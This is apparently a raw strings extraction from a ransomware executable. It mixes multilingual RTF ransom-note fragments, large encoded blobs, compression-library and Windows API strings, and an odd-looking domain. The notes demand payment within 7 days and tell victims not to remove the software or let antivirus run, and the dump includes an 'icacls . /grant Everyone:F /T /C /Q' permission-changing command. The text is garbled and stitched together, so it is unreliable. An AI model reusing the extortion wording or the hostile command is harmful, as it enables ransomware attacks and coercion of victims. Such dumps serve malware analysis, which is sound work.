\\f31502\\fs22\\insrsid8458214\\charrsid12743656 i suma corect\\'e3\\loch\\f31528 \\hich\\f31528 la adresa specificat\\'e3\\loch\\f31528 \\hich\\f31528 \\'ee\\loch\\f31528 \\hich\\f31528 n aceast\\'e3\\loch\\f31528 \\hich\\f31528 fereastr\\'e3. i, iar plata va fi procesat\\'e3\\loch\\f31528 \\hich\\f31528 . \\'ce\\loch\\f31528 \\hich\\f31528 n cazul \\'ee\\loch\\f31528 \\hich\\f31528 n care antivirusul dvs. se actualizeaz\\'e3\\loch\\f31528 }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 icacls . /grant Everyone:F /T /C /Q icacls.exe IMNyx1n62TU6oCC1ftHI4dy2cE4rIsPH7X9HCBGPYPsZAbsUCkkc1xBo8Z4Fsvp4FiQrqW1O/xCaPUg4mA8co3pxJxH14AliGB2uDI4D4uFm2kySLndaPbMGkbKX+IjjsqmUGSPvTO+8hpMOUODen4e8Kd9gZSMoNHSi2H2ti8wUlr07BC0Zu4eZ9VUrHG4qmqFAXRlqZF60Xj9y7zKK+33UP9pJTcbqy9BcvdgjEFmVcc323Gn9JWiPtAordxaRB1/EhmtL6ztjT2wK/cZn8/oymzo9kQ+o2+jeGC/lt7/NgtMhjskYnLIDr05P7PGhQWYA//03d9ZU79r7dJ+Cf3CWu8lW23D7W54BohM82affObtEDnwDlgg+MnE incompatible version incomplete distance tree incomplete dynamic bit lengths tree incomplete literal/length tree inflate 1.1.3 Copyright 1995-1998 Mark Adler InfoTip insufficient memory iu p\\'b3\\loch\\f31528 \\hich\\f31528 atno\\'9c\\loch\\f31528 ci kliknij <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Check Payment}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/ iXwqApmgq6g1zvQ8yiI9AOXvptfPRSqD6MWGBW4K1qn8iouCFzCmbV3qtUUQwhbuHoS72FlhntFutfdfqLVAirkMoGlDd6/SjLbRuADO9li2BTwGZ0ra6QjsOGsHiiCVlZPgXtvWDoFknVZl6Tp4SJlJspQ2ejSm3yq94gCQPtvtzLczwi6VDAFhpRHzs+nSGqa4XIQSuT+CoKRCRPJMvj4DiBsrNBhZhnWAAtB3kx3RmyCQiHaS3ay6TWgoJoXt2wOA6GtqnkrWoYy3/WujraijCVFkSBEb5vZxPPSXPnUFtStdhD8Ntocz0tsZNisxGxOJOYLjE33CI3qJU+Dluy1Ks0a5UTOSzpXt4Pa0ypNQhQ1SluqL2CK5u5XfSOKtJBSxRk0PbECzO6YAJHo5k5vjZDAf9NoaYketzhUSI0JZfn8ujw0OyyGsXRpF1mi20mnrxau9P+3M/yTl6Hy02KgZOaKv/JNxkk/GFg70MaDu88N94oeQzV8cOCpzoTCEeBrx8hTwj9TgrlgZvXze353pfSwVS5xFcPT+Gmp1E1TMadDs0nlbPlGBftJmUsG7mvQfgv4XYX0AMxz5YrqwGJfvTxKniphkH0HXhQlkKV0w/J/IVfQFQcGVrh3zZeE9PByrd7oxpyNSiXlIU9AUZp7WKzuVPIMQx3y4/g6QZbZprnHbUCiv9fVqYSj3+cwna2fn7kxdHqTGF13uO4uivs86us1LLjCZeiB4Zo4ih/2f4DNmcWoXHmb3FIWmNCm5LQM7Omt1BXKyaUyPUz5z0Z8HBNxhZNjepldrabniSaClovGr/IwlgOD8OqCcKqOiQaDknm42wYGpmiz9Cu9EJ4MlMXu7wK15mDoq8LjQGc/MIbd4tNUoGPn5IFTEgUW6WiWoOPPY8KQ1qDj+aj6+fa4nE110n8PKNq2bP7yT+4ECd9Lq+vZJ/M1sA3R0EgHrHbYwugIZ5pASDi2LnPObGl8cJS/UQHkDtSLetS2yWFfU+iWIDjRRevP/bhH772z iXwqApmgq6g1zvQ8yiI9AOXvptfPRSqD6MWGBW4K1qn8iouCFzCmbV3qtUUQwhbuHoS72FlhntFutfdfqLVAirkMoGlDd6/SjLbRuADO9li2BTwGZ0ra6QjsOGsHiiCVlZPgXtvWDoFknVZl6Tp4SJlJspQ2ejSm3yq94gCQPtvtzLczwi6VDAFhpRHzs+nSGqa4XIQSuT+CoKRCRPJMvj4DiBsrNBhZhnWAAtB3kx3RmyCQiHaS3ay6TWgoJoXt2wOA6GtqnkrWoYy3/WujraijCVFkSBEb5vZxPPSXPnUFtStdhD8Ntocz0tsZNisxGxOJOYLjE33CI3qJU+Dluy1Ks0a5UTOSzpXt4Pa0ypNQhQ1SluqL2CK5u5XfSOKtJBSxRk0PbECzO6YAJHo5k5vjZDAf9NoaYketzhUSI0JZfn8ujw0OyyGsXRpF1mi20mnrxau9P+3M/yTl6Hy02KgZOaKv/JNxkk/GFg70MaDu88N94oeQzV8cOCpzoTCEeBrx8hTwj9TgrlgZvXze353pfSwVS5xFcPT+Gmp1E1TMadDs0nlbPlGBftJmUsG7mvQfgv4XYX0AMxz5YrqwGJfvTxKniphkH0HXhQlkKV0w/J/IVfQFQcGVrh3zZeE9PByrd7oxpyNSiXlIU9AUZp7WKzuVPIMQx3y4/g6QZbZprnHbUCiv9fVqYSj3+cwna2fn7kxdHqTGF13uO4uivs86us1LLjCZeiB4Zo4ih/2f4DNmcWoXHmb3FIWmNCm5LQM7Omt1BXKyaUyPUz5z0Z8HBNxhZNjepldrabniSaClovGr/IwlgOD8OqCcKqOiQaDknm42wYGpmiz9Cu9EJ4MlMXu7wK15mDoq8LjQGc/MIbd4tNUoGPn5IFTEgUW6WiWoOPPY8KQ1qDj+aj6+fa4nE110n8PKNq2bP7yT+4ECd9Lq+vZJ/M1sA3R0EgHrHbYwugIZ5pASDi2LnPObGl8cJS/UQHkDtSLetS2yWFfU+iWIDjRRevP/bhH772zL j2we/eOEgsdJaALstzzVll0rPXIF501SIOmrcFEJh8lIEf8pW1daYqgEMXZ/1BpUzwMWD5jXvWQa+axhtIilVnEC1OwTGy3wi/r9LcDedgTXOnANzcYcUctIQTk1i2YSbSbAXQGfcsOz8WuTaRM6izqBTyXIK9tN11KVs795Y4BbKeIypCrVHOUY6Y2OtaHS9GhqoGojWs39jjKb9sPkWulrHwPEUl9A42NyUza+S6awW/ySODRkWkTKYS2zyEAso0k4KR4hl2KvJFDnwX157Hp1rsfwS2BCFjByigWVbdT5GMi0HaSukFUskn3ghnVP1G9fWhI7XzVi4XXu+uzDfYNainzFux7CUA33IhPTet1KPoVrQZYwzyjpv52sBPWG4RSCKDYRR+QUo0Pte8/0ix4PGf/VFzxDB+C3pHP2HGNsNX9zT9FJZLgOld40WLdof0IsgNeTLUVyy+o0FL/xp1+J0UQgpb71qWilo8RDEZqcFle9+FdGTlnR4ZcbgG7j1Td/YltwmCAZsTFbCQwmDls8KmZlvzaz4qOOLTuVAyX2e6HKfuPQmzs8X6rGnDTqtFvEELPjWtEQsxs8d1krRZO3FYFUUTeWphjMefQjj745faY6AHmnLK8sir5aG7B6v6OsqHGZ/UXDTPDCCbIBdz2ohdHbKAMH0rka/vVZXeQ8AdSwIOK8j792KDUQFq2BoEEHoOLmwCCg4D0Sbuyh+CcSDYyRiwsczJQE4XaI5LAsPBqpZhKnk6hvi+BYFJQPY3EErRBlIh1MFL7KnW3hroMlMUOaICr+hANsZvjgdN2HTldlqqwzUppld56Mjpy0lLCHljvKmjZyJhfgIwzlgk+wd4qQQGh1XAAV9d0Q5nTA9nWn8x5epjMix1c2jLx+Vdsz3DmzJ5hH32kHEdrxs3iIypHAdC4LXlzG8oKa1+XeHsGFyHSD1qFewdGpRdw4ilEHJHTT9XAKTFOzlP3iM8c9VJXAo96k4GU1EYMobVLqnC9zLwG2+eKzZsgPNE1 j2we/eOEgsdJaALstzzVll0rPXIF501SIOmrcFEJh8lIEf8pW1daYqgEMXZ/1BpUzwMWD5jXvWQa+axhtIilVnEC1OwTGy3wi/r9LcDedgTXOnANzcYcUctIQTk1i2YSbSbAXQGfcsOz8WuTaRM6izqBTyXIK9tN11KVs795Y4BbKeIypCrVHOUY6Y2OtaHS9GhqoGojWs39jjKb9sPkWulrHwPEUl9A42NyUza+S6awW/ySODRkWkTKYS2zyEAso0k4KR4hl2KvJFDnwX157Hp1rsfwS2BCFjByigWVbdT5GMi0HaSukFUskn3ghnVP1G9fWhI7XzVi4XXu+uzDfYNainzFux7CUA33IhPTet1KPoVrQZYwzyjpv52sBPWG4RSCKDYRR+QUo0Pte8/0ix4PGf/VFzxDB+C3pHP2HGNsNX9zT9FJZLgOld40WLdof0IsgNeTLUVyy+o0FL/xp1+J0UQgpb71qWilo8RDEZqcFle9+FdGTlnR4ZcbgG7j1Td/YltwmCAZsTFbCQwmDls8KmZlvzaz4qOOLTuVAyX2e6HKfuPQmzs8X6rGnDTqtFvEELPjWtEQsxs8d1krRZO3FYFUUTeWphjMefQjj745faY6AHmnLK8sir5aG7B6v6OsqHGZ/UXDTPDCCbIBdz2ohdHbKAMH0rka/vVZXeQ8AdSwIOK8j792KDUQFq2BoEEHoOLmwCCg4D0Sbuyh+CcSDYyRiwsczJQE4XaI5LAsPBqpZhKnk6hvi+BYFJQPY3EErRBlIh1MFL7KnW3hroMlMUOaICr+hANsZvjgdN2HTldlqqwzUppld56Mjpy0lLCHljvKmjZyJhfgIwzlgk+wd4qQQGh1XAAV9d0Q5nTA9nWn8x5epjMix1c2jLx+Vdsz3DmzJ5hH32kHEdrxs3iIypHAdC4LXlzG8oKa1+XeHsGFyHSD1qFewdGpRdw4ilEHJHTT9XAKTFOzlP3iM8c9VJXAo96k4GU1EYMobVLqnC9zLwG2+eKzZsgPNE1g je\\'9c\\loch\\f31528 \\hich\\f31528 li nie zap\\'b3\\loch\\f31528 \\hich\\f31528 acisz za 7 dni, nie b\\'ea\\loch\\f31528 \\hich\\f31528 dziesz w stanie odzyska\\'e6\\loch\\f31528 \\hich\\f31528 plik\\'f3\\loch\\f31528 w na zawsze. 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 kh\\'f4\\loch\\f31502 ng th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 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 lhdfrgui.exe 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 loating point support not loaded Local AppData LocalAlloc LocalFileTimeToFileTime LocalFree LocalizedName LocalRedirectOnly lp, skicka ett meddelande genom att klicka p\\'e5\\loch\\f31502 <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 m ditt antivirusprogram uppdateras och tar bort denna programvara automatiskt kommer det inte att kunna \\'e5\\loch\\f31502 \\hich\\f31502 terst\\'e4\\loch\\f31502 \\hich\\f31502 lla dina filer \\'e4\\loch\\f31502 ven om du betalar! Marami sa iyong mga dokumento, mga larawan, video, database at iba pang mga file ay hindi na maa-access dahil ang mga ito ay nai-naka-encrypt. Siguro ikaw ay abala naghahanap para sa isang paraan upang mabawi ang iyong mga file, ngunit huwag mag-aksaya ng Masidhi naming inirerekumenda mong hindi nag-aalis ng software na ito, at huwag paganahin ang iyong mga anti-virus para sa isang habang, hanggang mong bayaran at ang pagbabayad ay makakakuha ng maproseso. Kung ang iyong anti-virus ay maka MaxConnectionsPer1_0Server MaxConnectionsPerProxy MaxConnectionsPerServer MaxHttpRedirects MaxNumberOfAddressesToRegister MBCSAPIforCrack 